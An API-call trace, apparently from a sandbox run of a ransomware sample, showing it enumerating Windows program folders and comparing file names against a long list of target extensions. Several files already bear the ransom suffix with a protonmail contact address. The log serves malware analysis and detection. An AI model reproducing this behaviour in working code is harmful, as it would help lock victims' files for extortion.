	[0188.220] lstrlenW (lpString=".ptx") returned 4
	[0188.220] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".pub") returned 4
	[0188.220] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0188.220] lstrlenW (lpString=".pwm") returned 4
	[0188.220] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0189.132] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe78e, dwReserved1=0x57b, cFileName="..", cAlternateFileName="")) returned 1
	[0189.132] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31aa, dwReserved0=0xffffe78e, dwReserved1=0x57b, cFileName="VSTOInstallerUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOIN~1.Z9")) returned 1
	[0189.132] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5184, dwReserved0=0xffffe78e, dwReserved1=0x57b, cFileName="VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 1
	[0189.132] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a6dc9c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41a6dc9c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41aba151, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5184, dwReserved0=0xffffe78e, dwReserved1=0x57b, cFileName="VSTOLoaderUI.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 0
	[0189.132] FindClose (in: hFindFile=0x3fb2118 | out: hFindFile=0x3fb2118) returned 1
	[0189.133] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc7080 | out: hHeap=0x750000) returned 1
	[0189.133] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ae04c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41ae04c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x1fe, dwReserved1=0xffffe1ff, cFileName="VSTOInstaller.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOIN~1.Z9")) returned 1
	[0189.133] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ae04c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41ae04c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b0662f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b70, dwReserved0=0x1fe, dwReserved1=0xffffe1ff, cFileName="VSTOLoader.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOLO~1.Z9")) returned 1
	[0189.133] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b0662f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b0662f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xbff2, dwReserved0=0x1fe, dwReserved1=0xffffe1ff, cFileName="VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOME~1.Z9")) returned 1
	[0189.133] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b0662f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b0662f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x41b2c83c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xbff2, dwReserved0=0x1fe, dwReserved1=0xffffe1ff, cFileName="VSTOMessageProvider.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOME~1.Z9")) returned 0
	[0189.133] FindClose (in: hFindFile=0x3fb24d8 | out: hFindFile=0x3fb24d8) returned 1
	[0189.133] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.134] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b2c83c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x41b2c83c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x423124e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0xffffe77b, dwReserved1=0x77c, cFileName="vstoee.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~1.Z9")) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423124e9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x423124e9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x423124e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x438e, dwReserved0=0xffffe77b, dwReserved1=0x77c, cFileName="vstoee100.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~2.Z9")) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42338701, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42338701, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42338701, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x598c, dwReserved0=0xffffe77b, dwReserved1=0x77c, cFileName="vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~3.Z9")) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42338701, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42338701, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42338701, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x598c, dwReserved0=0xffffe77b, dwReserved1=0x77c, cFileName="vstoee90.tlb.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="VSTOEE~3.Z9")) returned 0
	[0189.135] FindClose (in: hFindFile=0x3fb2158 | out: hFindFile=0x3fb2158) returned 1
	[0189.135] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0189.135] FindClose (in: hFindFile=0x3fb2218 | out: hFindFile=0x3fb2218) returned 1
	[0189.135] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="Services", cAlternateFileName="")) returned 1
	[0189.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName=".", cAlternateFileName="")) returned 0x3fb2498
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="..", cAlternateFileName="")) returned 1
	[0189.135] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0189.136] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0189.136] FindClose (in: hFindFile=0x3fb2498 | out: hFindFile=0x3fb2498) returned 1
	[0189.136] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.136] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef16b10, ftCreationTime.dwHighDateTime=0x1d55010, ftLastAccessTime.dwLowDateTime=0x1aac8340, ftLastAccessTime.dwHighDateTime=0x1d5556c, ftLastWriteTime.dwLowDateTime=0x1aac8340, ftLastWriteTime.dwHighDateTime=0x1d5556c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="spcwin.exe", cAlternateFileName="")) returned 1
	[0189.136] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="System", cAlternateFileName="")) returned 1
	[0189.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36
	[0189.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\System") returned 1
	[0189.136] lstrlenW (lpString="System") returned 6
	[0189.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="System") returned -1
	[0189.136] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x3fb3070
	[0189.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36
	[0189.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName=".", cAlternateFileName="")) returned 0x3fb2218
	[0189.136] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="..", cAlternateFileName="")) returned 1
	[0189.137] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="ado", cAlternateFileName="")) returned 1
	[0189.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40
	[0189.137] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\System\\ado") returned 1
	[0189.137] lstrlenW (lpString="ado") returned 3
	[0189.137] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ado") returned 1
	[0189.137] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x3fc7080
	[0189.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40
	[0189.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2418
	[0189.137] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.137] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0189.137] lstrlenW (lpString="adojavas.inc") returned 12
	[0189.137] lstrlenW (lpString=".1cd") returned 4
	[0189.137] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.137] lstrlenW (lpString=".3ds") returned 4
	[0189.137] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.137] lstrlenW (lpString=".3fr") returned 4
	[0189.137] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".3g2") returned 4
	[0189.138] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".3gp") returned 4
	[0189.138] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".7z") returned 3
	[0189.138] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.138] lstrlenW (lpString=".accda") returned 6
	[0189.138] lstrcmpiW (lpString1=".accda", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".accdb") returned 6
	[0189.138] lstrcmpiW (lpString1=".accdb", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".accdc") returned 6
	[0189.138] lstrcmpiW (lpString1=".accdc", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".accde") returned 6
	[0189.138] lstrcmpiW (lpString1=".accde", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".accdt") returned 6
	[0189.138] lstrcmpiW (lpString1=".accdt", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".accdw") returned 6
	[0189.138] lstrcmpiW (lpString1=".accdw", lpString2="as.inc") returned -1
	[0189.138] lstrlenW (lpString=".adb") returned 4
	[0189.138] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".adp") returned 4
	[0189.138] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai") returned 3
	[0189.138] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.138] lstrlenW (lpString=".ai3") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai4") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai5") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai6") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai7") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.138] lstrlenW (lpString=".ai8") returned 4
	[0189.138] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".anim") returned 5
	[0189.139] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.139] lstrlenW (lpString=".arw") returned 4
	[0189.139] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".as") returned 3
	[0189.139] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.139] lstrlenW (lpString=".asa") returned 4
	[0189.139] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".asc") returned 4
	[0189.139] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".ascx") returned 5
	[0189.139] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.139] lstrlenW (lpString=".asm") returned 4
	[0189.139] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".asmx") returned 5
	[0189.139] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.139] lstrlenW (lpString=".asp") returned 4
	[0189.139] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".aspx") returned 5
	[0189.139] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.139] lstrlenW (lpString=".asr") returned 4
	[0189.139] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".asx") returned 4
	[0189.139] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".avi") returned 4
	[0189.139] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".avs") returned 4
	[0189.139] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".backup") returned 7
	[0189.139] lstrcmpiW (lpString1=".backup", lpString2="vas.inc") returned -1
	[0189.139] lstrlenW (lpString=".bak") returned 4
	[0189.139] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".bay") returned 4
	[0189.139] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.139] lstrlenW (lpString=".bd") returned 3
	[0189.140] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.140] lstrlenW (lpString=".bin") returned 4
	[0189.140] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".bmp") returned 4
	[0189.140] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".bz2") returned 4
	[0189.140] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".c") returned 2
	[0189.140] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.140] lstrlenW (lpString=".cdr") returned 4
	[0189.140] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".cer") returned 4
	[0189.140] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".cf") returned 3
	[0189.140] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.140] lstrlenW (lpString=".cfc") returned 4
	[0189.140] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".cfm") returned 4
	[0189.140] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".cfml") returned 5
	[0189.140] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.140] lstrlenW (lpString=".cfu") returned 4
	[0189.140] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".chm") returned 4
	[0189.140] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".cin") returned 4
	[0189.140] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".class") returned 6
	[0189.140] lstrcmpiW (lpString1=".class", lpString2="as.inc") returned -1
	[0189.140] lstrlenW (lpString=".clx") returned 4
	[0189.140] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.140] lstrlenW (lpString=".config") returned 7
	[0189.140] lstrcmpiW (lpString1=".config", lpString2="vas.inc") returned -1
	[0189.140] lstrlenW (lpString=".cpp") returned 4
	[0189.140] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".cr2") returned 4
	[0189.141] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".crt") returned 4
	[0189.141] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".crw") returned 4
	[0189.141] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".cs") returned 3
	[0189.141] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.141] lstrlenW (lpString=".css") returned 4
	[0189.141] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".csv") returned 4
	[0189.141] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".cub") returned 4
	[0189.141] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dae") returned 4
	[0189.141] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dat") returned 4
	[0189.141] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".db") returned 3
	[0189.141] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.141] lstrlenW (lpString=".dbf") returned 4
	[0189.141] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dbx") returned 4
	[0189.141] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dc3") returned 4
	[0189.141] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dcm") returned 4
	[0189.141] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dcr") returned 4
	[0189.141] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".der") returned 4
